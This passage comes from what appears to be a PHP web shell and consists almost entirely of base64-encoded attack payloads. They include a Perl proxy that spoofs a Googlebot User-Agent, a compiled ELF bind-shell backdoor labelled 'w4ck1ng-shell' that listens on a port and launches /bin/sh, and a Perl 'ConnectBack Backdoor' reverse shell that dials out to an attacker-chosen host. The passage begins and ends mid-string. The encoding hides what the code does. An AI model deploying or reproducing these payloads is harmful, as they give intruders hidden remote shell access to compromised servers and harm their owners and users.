+QoJHJlc3VsdCkpIHsNCnByaW50IFNUREVSUiAiJCFcbiI7DQpleGl0IDA7DQp9DQppZiAoJHJlc3VsdCA9PSAwKSB7IGV4aXQgMDsgfQ0KfQ0KaWYgK +CR0aCAgJiYgICh2ZWMoJGVvdXQsIGZpbGVubygkdGgpLCAxKSAgfHwgdmVjKCRyb3V0LCBmaWxlbm8oJHRoKSwgMSkpKSB7DQpteSAkcmVzdWx0ID0g +c3lzcmVhZCgkdGgsICRjYnVmZmVyLCAxMDI0KTsNCmlmICghZGVmaW5lZCgkcmVzdWx0KSkgeyBwcmludCBTVERFUlIgIiQhXG4iOyBleGl0IDA7IH0 +NCmlmICgkcmVzdWx0ID09IDApIHtleGl0IDA7fQ0KfQ0KaWYgKCRmaCAgJiYgICR0YnVmZmVyKSB7KHByaW50ICRmaCAkdGJ1ZmZlcik7fQ0Kd2hpbG +UgKG15ICRsZW4gPSBsZW5ndGgoJHRidWZmZXIpKSB7DQpteSAkcmVzID0gc3lzd3JpdGUoJHRoLCAkdGJ1ZmZlciwgJGxlbik7DQppZiAoJHJlcyA+I +DApIHskdGJ1ZmZlciA9IHN1YnN0cigkdGJ1ZmZlciwgJHJlcyk7fSANCmVsc2Uge3ByaW50IFNUREVSUiAiJCFcbiI7fQ0KfQ0Kd2hpbGUgKG15ICRs +ZW4gPSBsZW5ndGgoJGNidWZmZXIpKSB7DQpteSAkcmVzID0gc3lzd3JpdGUoJGNoLCAkY2J1ZmZlciwgJGxlbik7DQppZiAoJHJlcyA+IDApIHskY2J +1ZmZlciA9IHN1YnN0cigkY2J1ZmZlciwgJHJlcyk7fSANCmVsc2Uge3ByaW50IFNUREVSUiAiJCFcbiI7fQ0KfX19DQo="; +$prx_pl="IyF1c3IvYmluL3BlcmwKdXNlIFNvY2tldDsKbXkgJHBvcnQgPSAkQVJHVlswXXx8MzEzMzc7Cm15ICRwcm90b2NvbCA9IGdldHByb3RvYn +luYW1lKCd0Y3AnKTsKbXkgJG15X2FkZHIgID0gc29ja2FkZHJfaW4gKCRwb3J0LCBJTkFERFJfQU5ZKTsKc29ja2V0IChTT0NLLCBBRl9JTkVULCBTT +0NLX1NUUkVBTSwgJHByb3RvY29sKSBvciBkaWUgInNvY2tldCgpOiAkISI7CnNldHNvY2tvcHQgKFNPQ0ssIFNPTF9TT0NLRVQsIFNPX1JFVVNFQURE +UiwxICkgb3IgZGllICJzZXRzb2Nrb3B0KCk6ICQhIjsKYmluZCAoU09DSywgJG15X2FkZHIpIG9yIGRpZSAiYmluZCgpOiAkISI7Cmxpc3RlbiAoU09 +DSywgU09NQVhDT05OKSBvciBkaWUgImxpc3RlbigpOiAkISI7CiRTSUd7J0lOVCd9ID0gc3ViIHsKY2xvc2UgKFNPQ0spOwpleGl0Owp9Owp3aGlsZS +AoMSkgewpuZXh0IHVubGVzcyBteSAkcmVtb3RlX2FkZHIgPSBhY2NlcHQgKFNFU1NJT04sIFNPQ0spOwpteSAoJGZpc3QsICRtZXRob2QsICRyZW1vd +GVfaG9zdCwgJHJlbW90ZV9wb3J0KSA9IGFuYWx5emVfcmVxdWVzdCgpOwppZihvcGVuX2Nvbm5lY3Rpb24gKFJFTU9URSwgJHJlbW90ZV9ob3N0LCAk +cmVtb3RlX3BvcnQpID09IDApIHsKY2xvc2UgKFNFU1NJT04pOwpuZXh0Owp9CnByaW50IFJFTU9URSAkZmlyc3Q7CnByaW50IFJFTU9URSAiVXNlci1 +BZ2VudDogR29vZ2xlYm90LzIuMSAoK2h0dHA6Ly93d3cuZ29vZ2xlLmNvbS9ib3QuaHRtbClcbiI7CndoaWxlICg8U0VTU0lPTj4pIHsKbmV4dCBpZi +AoL1Byb3h5LUNvbm5lY3Rpb246LyB8fCAvVXNlci1BZ2VudDovKTsKcHJpbnQgUkVNT1RFICRfOwpsYXN0IGlmICgkXyA9fiAvXltcc1x4MDBdKiQvK +TsKfQpwcmludCBSRU1PVEUgIlxuIjsKJGhlYWRlciA9IDE7CndoaWxlICg8UkVNT1RFPikgewpwcmludCBTRVNTSU9OICRfOwppZiAoJGhlYWRlcikg +eyAgICAgCmlmICgkaGVhZGVyICYmICRfID1+IC9eW1xzXHgwMF0qJC8pIHsKJGhlYWRlciA9IDA7Cn0KfQp9CmNsb3NlIChSRU1PVEUpOwpjbG9zZSA +oU0VTU0lPTik7Cn0KY2xvc2UgKFNPQ0spOwpzdWIgYW5hbHl6ZV9yZXF1ZXN0IHsKbXkgKCRmaXN0LCAkdXJsLCAkcmVtb3RlX2hvc3QsICRyZW1vdG +VfcG9ydCwgJG1ldGhvZCk7CiRmaXJzdCA9IDxTRVNTSU9OPjsKJHVybCA9ICgkZmlyc3QgPX4gbXwoaHR0cDovL1xTKyl8KVswXTsKKCRtZXRob2QsI +CRyZW1vdGVfaG9zdCwgJHJlbW90ZV9wb3J0KSA9IAooJGZpcnN0ID1+IG0hKEdFVCkgaHR0cDovLyhbXi86XSspOj8oXGQqKSEgKTsKaWYgKCEkcmVt +b3RlX2hvc3QpIHsKY2xvc2UoU0VTU0lPTik7CmV4aXQ7Cn0KJHJlbW90ZV9wb3J0ID0gImh0dHAiIHVubGVzcyAoJHJlbW90ZV9wb3J0KTsKJGZpcnN +0ID1+IHMvaHR0cDpcL1wvW15cL10rLy87CnJldHVybiAoJGZpcnN0LCAkbWV0aG9kLCAkcmVtb3RlX2hvc3QsICRyZW1vdGVfcG9ydCk7Cn0Kc3ViIG +9wZW5fY29ubmVjdGlvbiB7Cm15ICgkaG9zdCwgJHBvcnQpID0gQF9bMSwyXTsKbXkgKCRkZXN0X2FkZHIsICRjdXIpOwppZiAoJHBvcnQgIX4gL15cZ +CskLykgewokcG9ydCA9IChnZXRzZXJ2YnluYW1lKCRwb3J0LCAidGNwIikpWzJdOwokcG9ydCA9IDgwIHVubGVzcyAoJHBvcnQpOwp9CiRob3N0ID0g +aW5ldF9hdG9uICgkaG9zdCkgb3IgcmV0dXJuIDA7CiRkZXN0X2FkZHIgPSBzb2NrYWRkcl9pbiAoJHBvcnQsICRob3N0KTsKc29ja2V0ICgkX1swXSw +gQUZfSU5FVCwgU09DS19TVFJFQU0sICRwcm90b2NvbCkgb3IgZGllICJzb2NrZXQoKSA6ICQhIjsKY29ubmVjdCAoJF9bMF0sICRkZXN0X2FkZHIpIG +9yIHJldHVybiAwOwokY3VyID0gc2VsZWN0KCRfWzBdKTsgIAokfCA9IDE7CnNlbGVjdCgkY3VyKTsKcmV0dXJuIDE7Cn0="; +$port_bind_bd_cs="f0VMRgEBAQAAAAAAAAAAAAIAAwABAAAAoIUECDQAAAD4EgAAAAAAADQAIAAHACgAIgAfAAYAAAA0AAAANIAECDSABAjgAAAA4AAAAAUAAAAEAAAAAwAAABQBAAAUgQQIFIEECBMAAAATAAAABAAAAAEAAAABAAAAAAAAAACABAgAgAQIrAkAAKwJAAAFAAAAABAAAAEAAACsCQAArJkECKyZBAg0AQAAOAEAAAYAAAAAEAAAAgAAAMAJAADAmQQIwJkECMgAAADIAAAABgAAAAQAAAAEAAAAKAEAACiBBAgogQQIIAAAACAAAAAEAAAABAAAAFHldGQAAAAAAAAAAAAAAAAAAAAAAAAAAAYAAAAEAAAAL2xpYi9sZC1saW51eC5zby4yAAAEAAAAEAAAAAEAAABHTlUAAAAAAAIAAAACAAAAAAAAABEAAAATAAAAAAAAAAAAAAAQAAAAEQAAAAAAAAAAAAAACQAAAAgAAAAFAAAAAwAAAA0AAAAAAAAAAAAAAA8AAAAKAAAAEgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYAAAABAAAAAAAAAAcAAAALAAAAAAAAAAQAAAAMAAAADgAAAAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC4AAAAAAAAAdQEAABIAAACgAAAAAAAAAHEAAAASAAAANAAAAAAAAADMAAAAEgAAAGoAAAAAAAAAWgAAABIAAABMAAAAAAAAAHgAAAASAAAAYwAAAAAAAAA5AAAAEgAAAFgAAAAAAAAAOQAAABIAAACOAAAAAAAAAOYAAAASAAAAOwAAAAAAAAA6AAAAEgAAAFMAAAAAAAAAOQAAABIAAAB1AAAAAAAAALkAAAASAAAAegAAAAAAAAArAAAAEgAAAEcAAAAAAAAAeAAAABIAAABvAAAAAAAAAA4AAAASAAAAfwAAAEiJBAgEAAAAEQAOAEAAAAAAAAAAOQAAABIAAAABAAAAAAAAAAAAAAAgAAAAFQAAAAAAAAAAAAAAIAAAAABfSnZfUmVnaXN0ZXJDbGFzc2VzAF9fZ21vbl9zdGFydF9fAGxpYmMuc28uNgBleGVjbABwZXJyb3IAZHVwMgBzb2NrZXQAc2VuZABhY2NlcHQAYmluZABzZXRzb2Nrb3B0AGxpc3RlbgBmb3JrAGh0b25zAGV4aXQAYXRvaQBfSU9fc3RkaW5fdXNlZABfX2xpYmNfc3RhcnRfbWFpbgBjbG9zZQBHTElCQ18yLjAAAAACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAQACAAAAAAAAAAEAAQAkAAAAEAAAAAAAAAAQaWkNAAACAKYAAAAAAAAAiJoECAYSAACYmgQIBwEAAJyaBAgHAgAAoJoECAcDAACkmgQIBwQAAKiaBAgHBQAArJoECAcGAACwmgQIBwcAALSaBAgHCAAAuJoECAcJAAC8mgQIBwoAAMCaBAgHCwAAxJoECAcMAADImgQIBw0AAMyaBAgHDgAA0JoECAcQAABVieWD7AjoMQEAAOiDAQAA6FsEAADJwwD/NZCaBAj/JZSaBAgAAAAA/yWYmgQIaAAAAADp4P////8lnJoECGgIAAAA6dD/////JaCaBAhoEAAAAOnA/////yWkmgQIaBgAAADpsP////8lqJoECGggAAAA6aD/////JayaBAhoKAAAAOmQ/////yWwmgQIaDAAAADpgP////8ltJoECGg4AAAA6XD/////JbiaBAhoQAAAAOlg/////yW8mgQIaEgAAADpUP////8lwJoECGhQAAAA6UD/////JcSaBAhoWAAAAOkw/////yXImgQIaGAAAADpIP////8lzJoECGhoAAAA6RD/////JdCaBAhocAAAAOkA////Me1eieGD5PBQVFJorYgECGhciAQIUVZoQIYECOhf////9JCQVYnlU+gbAAAAgcO/FAAAg+wEi4P8////hcB0Av/Qg8QEW13Dixwkw1WJ5YPsCIA94JoECAB0DOscg8AEo9yaBAj/0qHcmgQIixCF0nXrxgXgmgQIAcnDVYnlg+wIobyZBAiFwHQSuAAAAACFwHQJxwQkvJkECP/QycOQkFWJ5VeD7GSD5PC4AAAAAIPAD4PAD8HoBMHgBCnEx0XkAQAAAMdF+EyJBAjHRCQIAAAAAMdEJAQBAAAAxwQkAgAAAOgJ////iUXwg33wAHkYxwQkjIkECOg0/v//xwQkAQAAAOio/v//ZsdF1AIAx0XYAAAAAItFDIPABIsAiQQk6Jv+//8Pt8CJBCTosP7//2aJRdbHRCQQBAAAAI1F5IlEJAzHRCQIAgAAAMdEJAQBAAAAi0XwiQQk6BL+//+NRdTHRCQIEAAA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L2NydG4uUwAxLmMAX0RZTkFNSUMAX19maW5pX2FycmF5X2VuZABfX2ZpbmlfYXJyYXlfc3RhcnQAX19pbml0X2FycmF5X2VuZABfR0xPQkFMX09GRlNFVF9UQUJMRV8AX19pbml0X2FycmF5X3N0YXJ0AGV4ZWNsQEBHTElCQ18yLjAAY2xvc2VAQEdMSUJDXzIuMABfZnBfaHcAcGVycm9yQEBHTElCQ18yLjAAZm9ya0BAR0xJQkNfMi4wAF9fZHNvX2hhbmRsZQBfX2xpYmNfY3N1X2ZpbmkAYWNjZXB0QEBHTElCQ18yLjAAX2luaXQAbGlzdGVuQEBHTElCQ18yLjAAc2V0c29ja29wdEBAR0xJQkNfMi4wAF9zdGFydABfX2xpYmNfY3N1X2luaXQAX19ic3Nfc3RhcnQAbWFpbgBfX2xpYmNfc3RhcnRfbWFpbkBAR0xJQkNfMi4wAGR1cDJAQEdMSUJDXzIuMABkYXRhX3N0YXJ0AGJpbmRAQEdMSUJDXzIuMABfZmluaQBleGl0QEBHTElCQ18yLjAAYXRvaUBAR0xJQkNfMi4wAF9lZGF0YQBfX2k2ODYuZ2V0X3BjX3RodW5rLmJ4AF9lbmQAc2VuZEBAR0xJQkNfMi4wAGh0b25zQEBHTElCQ18yLjAAX0lPX3N0ZGluX3VzZWQAX19kYXRhX3N0YXJ0AHNvY2tldEBAR0xJQkNfMi4wAF9Kdl9SZWdpc3RlckNsYXNzZXMAX19nbW9uX3N0YXJ0X18A"; +$back_connects="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KaWYgKCEkQVJHVlswXSkgew0KICBwcmludGYgIlVzYWdlOiAkMCBbSG9zdF0gPFBvcnQ+XG4iOw0KICBleGl0KDEpOw0KfQ0KcHJpbnQgIlsqXSBEdW1waW5nIEFyZ3VtZW50c1xuIjsNCiRob3N0ID0gJEFSR1ZbMF07DQokcG9ydCA9IDgwOw0KaWYgKCRBUkdWWzFdKSB7DQogICRwb3J0ID0gJEFSR1ZbMV07DQp9DQpwcmludCAiWypdIENvbm5lY3RpbmcuLi5cbiI7DQokcHJvdG8gPSBnZXRwcm90b2J5bmFtZSgndGNwJykgfHwgZGllKCJVbmtub3duIFByb3RvY29sXG4iKTsNCnNvY2tldChTRVJWRVIsIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCAkcHJvdG8pIHx8IGRpZSAoIlNvY2tldCBFcnJvclxuIik7DQpteSAkdGFyZ2V0ID0gaW5ldF9hdG9uKCRob3N0KTsNCmlmICghY29ubmVjdChTRVJWRVIsIHBhY2sgIlNuQTR4OCIsIDIsICRwb3J0LCAkdGFyZ2V0KSkgew0KICBkaWUoIlVuYWJsZSB0byBDb25uZWN0XG4iKTsNCn0NCnByaW50ICJbKl0gU3Bhd25pbmcgU2hlbGxcbiI7DQppZiAoIWZvcmsoICkpIHsNCiAgb3BlbihTVERJTiwiPiZTRVJWRVIiKTsNCiAgb3BlbihTVERPVVQsIj4mU0VSVkVSIik7DQogIG9wZW4oU1RERVJSLCI+JlNFUlZFUiIpOw0KICBwcmludCAiLS09PSBDb25uZWN0QmFjayBCYWNrZG9vciB2